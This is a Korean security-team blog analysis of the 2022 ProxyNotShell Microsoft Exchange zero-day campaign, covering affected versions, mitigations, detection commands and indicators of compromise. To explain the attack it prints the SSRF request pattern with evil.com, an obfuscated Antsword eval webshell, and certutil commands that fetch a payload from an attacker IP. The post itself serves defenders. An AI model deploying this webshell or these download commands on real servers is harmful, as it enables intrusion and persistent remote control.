상세 컨텐츠

본문 제목

Microsoft Exchange 0-DAY RCE 취약점(ProxyNotShell)을 이용한 공격 캠페인 발견

취약점 분석 리포트

by MIR 2022. 10. 6. 10:36

본문

1. 개요

2022년 8월, 베트남 보안업체 GTSC의 SOC팀은 Microsoft Exchange 애플리케이션의 0-Day 취약점을 활용한 공격을 발견하였다. 2022년 9월 29일에 해당 취약점을 활용한 새로운 공격 캠페인에 대한 블로그를 게시했다

 

CVE-2022–41040(ZDI-CAN-18333), CVE-2022-41082(ZDI-CAN-18802) 0-Day를 악용하면 유효한 메일 서버 계정을 소유한 공격자가 Microsoft Exchange 서버에서 원격 코드 실행(RCE)을 할 수 있다. 해당 취약점은 ProxyNotShell로 명명되었으며, 글 작성 시점 기준(22.10.04), PoC는 공개되지 않은 상태이다.

 [그림 1] ProxyNotShell (ZDI)

 

CVE Dictionary EntryCVSS v3 ScoreDescription

CVE-2022-41040 8.8 MS Exchange Server SSRF 취약점
CVE-2022-41082 8.8 MS Exchange Server RCE 취약점

[표 1] ProxyNotShell (CVE)

 

일부 깃허브 저장소에서 ProxyNotShell의 PoC로 위장한 글이 게재된 바 있지만 이는 거짓으로 판명되었다. [그림 2]는 보안연구원인 Kevin Beaumont 를 가장한 가짜 깃허브 저장소이다. 이 외에도 가짜 PoC를 게재한 깃허브 계정은 'jml4da', 'TimWallbey', 'Liu Zhao Khin(0daylabin)', 'R007er', 'spher0x' 등이 있는 것으로 확인된다.

[그림 2] ProxyNotShell PoC로 위장한 가짜 깃허브 저장소

 

GTSC의 분석 결과에 따르면, 발견된 0-Day 취약점을 악용한 공격자는 원격 코드 실행 이후 공격 대상 시스템에 백도어를 생성하고 측면 이동을 수행하였다. 그리고 공격에 웹쉘이 사용되었는데 해당 웹쉘은 중국 기반 오픈소스 크로스 플랫폼 웹 사이트 관리 도구인 Antsword로 확인되었으며, 웹쉘 코드 페이지가 중국어 간체에 사용되는 Microsoft 문자 인코딩인 것으로 보아, 중국 해킹 그룹에서 공격이 수행된 것으로 추정된다.

 

2. 영향받는 제품

  • Microsoft Exchange Server 2013, 2016, 2019

 

3. Exploit Process

1. ProxyShell 취약점과 유사한 exploit 요청(IIS 로그)

autodiscover/autodiscover.json?@evil.com/Email=autodiscover/autodiscover.json%3f@evil.com

 

 

2. 1의 링크를 이용해 RCE(원격 코드 실행)을 목적으로  에 접근

 

현재 GTSC는 0-Day 취약점에 대한 기술 세부 사항을 공개하지 않았으며, 블로그를 통해 해커가 취약점이 있는 Exchange 서버에 백도어를 만들고 다른 서버로 내부 이동을 하기 위해 다양한 방법을 사용했다고 밝혔다. 

 

공격에 사용된 웹쉘은 난독화 Antsword 웹쉘로, Code page 936(중국어용 Microsoft 문자 인코딩)을 사용했다.

<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64S

tring('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.Text.Encoding.G
etEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+char(51450/525
)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Enco
ding.GetEncoding
(936).GetString(System.Convert.FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+
'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'
+'UpOzE'+'3MTY4'+'OTE7'+'')));%>

[표 2] 웹쉘 코드 페이지

 

공격자는 Exchange 서버의 정상 파일(RedirSuiteServiceProxy.aspx)을 웹쉘 파일로 변경했다.

[그림 3] 공격에 사용된 웹쉘 목록

 

그리고 공격자는 피해 시스템에 대한 정보를 수집하였고 LotL(Living off the Land) 공격으로 Windows 환경의 내장 프로그램인 ‘certutil.exe’을 악용하여 악성 파일을 다운로드하였다.

cmd.exe /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f hxxp://206[.]188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]
cmd.exe /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f hxxps://httpbin[.]org/get c:\test&echo [S]&cd&echo [E]

[표 3] LotL 공격 페이로드

 

[표 3]에서 확인할 수 있듯, 공격 명령어는 China Chopper의 특징 중 하나인 ‘echo [S]&cd&echo [E]’ 문자열로 끝난다. 또한, 공격자는 WMIC를 통해 악성 DLL을 메모리에 주입하여 피해 시스템에 의심스러운 파일을 생성하였다.

파일 이름 경로
DrSDKCaller.exe C:\root\DrSDKCaller.exe
dump.dll C:\Users\Public\dump.dll
ad.exe C:\Users\Public\ad.exe
gpg-error.exe C:\PerfLogs\gpg-error.exe
cm.exe C:\PerfLogs\cm.exe
msado32.tlb C:\Program Files\Common Files\system\ado\msado32.tlb

[표 4] 생성된 의심 파일 목록

 

‘all.exe’ 와 ‘dump.dll’은 피해 서버에 대한 자격 증명 덤프를 수행하는 것으로 확인되었고 덤프 수행 후 공격자는 ‘rar.exe’를 사용하여 덤프 파일을 압축하여 Exchange 서버의 웹 루트에 복사하였다. ‘cm.exe’는 Windows 명령 줄 도구인 ‘cmd.exe’이다.

 

4. 임시 조치 방법

2022년 10월 4일 기준으로 취약점에 대한 패치가 발표되지 않은 상황이기 때문에 Microsoft는 임시 조치 방안으로써 IIS 서버의 URL Rewrite Rule module에 차단 규칙을 추가할 것을 권고했다. 한편, Janggggg(@testanull)는 트위터를 통해 Microsoft가 제공한 URL 차단 규칙은 우회가 가능하므로 다른 차단 규칙 대안(“.*autodiscover\.json.*Powershell .*”)을 제시했다. Microsofts는 2022년 10월 5일, Janggggg이 제시한 차단 규칙을 수용하여 취약점 대응 고객 지침을 업데이트 했다.

 

1. Autodiscover > URL Rewrite > Request Blocking 선택

 

2. URL Path에 “.*autodiscover\.json.*\@.*Powershell.*” 추가(Microsoft 제시)

 

3. Condition input: {REQUEST_URI} 선택

 

Microsoft는 Exchange 온프레미스 완화 도구 v2(EOMTv2)를 배포하여 URL 재작성 구성을 통해 CVE-2022-41040을 완화할 수 있도록 지원하고 있다.

Download Link https://github.com/microsoft/CSS-Exchange/releases/latest/download/EOMTv2.ps1

 

Requirements Details
Powershell Powershell 버전 3 이상
관리자 권한으로 Powershell 스크립트 실행
IIS IIS 버전 7.5 이상
MS Exchange Server Exchange 2013 클라이언트 액세스 서버 역할
Exchange 2016 메일함 역할
Exchange 2019 메일함 역할
O/S Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
Windows Server 2019
Windows Server 2016 이전 O/S일 경우, IIS 재작성 모듈 2.1이 작동하려면 ‘KB2999226’이 있어야 함
선택 사항 Exchange 서버의 외부 인터넷 연결
(스크립트 업데이트 및 IIS URL 재작성 모듈 설치에 필요)

[표 5] EOMTv2 요구 사항

 

Shodan.io에서 http.component:”outlook web app”을 검색하여 Outlook Web App이 인터넷에 노출되어 있는지 확인할 수 있다. org:[조직 이름] 또는 ssl:”*[조직 이름]*” 필터를 추가하여 조직을 찾을 수 있다.

[그림 4] Shodan 검색 결과

 

5. 공격 탐지 방법

GTSC는 운영 중인 시스템에서 Exchange 서버가 0-Day 취약점에 의해 공격을 받았는지 확인할 수 있도록 GTSC는 IIS 로그 파일(%SystemDrive%\inetpub\logs\LogFiles\)을 검사하는  아래와 같은 지침과 도구를 발표했다.

 

방법 1. PowerShell 명령어를 사용하여 웹 로그 검사

powershell.exe Get-ChildItem -Recurse - Path -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

 

방법 2. GTSC에서 개발한 도구(IIS 로그 분석 도구) 사용

실행 파일(.exe) 실행을 통해 [방법 1]보다 빠르고 간단하게 익스플로잇 특징 검색

Download Link https://github.com/ncsgroupvn/NCSE0Scanner

 

6. IoCs

- Webshell

파일 이름 경로 및 해시(SHA256)
pxh4HG1v.ashx C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx
c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
RedirSuiteSer
viceProxy.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5
RedirSuiteSer
viceProxy.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca
Xml.ashx Xml.ashx
c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
errorEE.aspx C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx
be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

 

- DLL

파일 이름 해시(SHA256)
Dll.dll 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3
c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2
180000000.dll 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e
(180000000.dll: Svchost.exe 프로세스에서 덤프)
pxh4HG1v.ashx c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
RedirSuiteServi
ceProxy.aspx
65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5
RedirSuiteServi
ceProxy.aspx
b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca
errorEE.aspx be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

 

- IP

  125[.]212[.]220[.]48 

  5[.]180[.]61[.]17

  47[.]242[.]39[.]92

  61[.]244[.]94[.]85

  86[.]48[.]6[.]69

  86[.]48[.]12[.]64

  94[.]140[.]8[.]48

  94[.]140[.]8[.]113

  103[.]9[.]76[.]208

  103[.]9[.]76[.]211

  104[.]244[.]79[.]6

  112[.]118[.]48[.]186

  122[.]155[.]174[.]188

  125[.]212[.]241[.]134

  185[.]220[.]101[.]182

  194[.]150[.]167[.]88

  212[.]119[.]34[.]11

 

- URL

  hxxp://206[.]188[.]196[.]77:8080/themes.aspx

 

- C2

  137[.]184[.]67[.]33

 

7. 참고 자료

[1] GTSC, WARNING: NEW ATTACK CAMPAIGN UTILIZED A NEW 0-DAY RCE VULNERABILITY ON MICROSOFT EXCHANGE SERVER

https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html

[2] Microsoft Security, Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082

https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/?utm_source=substack&utm_medium=email

[3] Microsoft Security, Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server

https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/

[4] Zero Day Initiative, ZDI-CAN-18333, ZDI-CAN-18802

https://www.zerodayinitiative.com/advisories/upcoming/

[5] ZDI-CAN-18333 aka ProxyNotShell— the story of the claimed zero day in Microsoft Exchange
https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9

[6] Fake Microsoft Exchange ProxyNotShell exploits for sale on GitHub

https://www.bleepingcomputer.com/news/security/fake-microsoft-exchange-proxynotshell-exploits-for-sale-on-github/

[7] Exchange On-premises Mitigation Tool v2 (EOMTv2)

https://microsoft.github.io/CSS-Exchange/Security/EOMTv2/

[8] THREAT ALERT: ProxyNotShell - Two Critical Vulnerabilities Affecting MS Exchange

https://www.cybereason.com/blog/threat-alert-proxynotshell-two-critical-vulnerabilities-affecting-ms-exchange

[9] TheSecMaster, How to Mitigate CVE-2022-41040- A 0-Day SSRF Vulnerability in Microsoft Exchange Server

https://thesecmaster.com/how-to-mitigate-cve-2022-41040-a-0-day-ssrf-vulnerability-in-microsoft-exchange-server/



보안관제센터 MIR Team

관련글 더보기

댓글 영역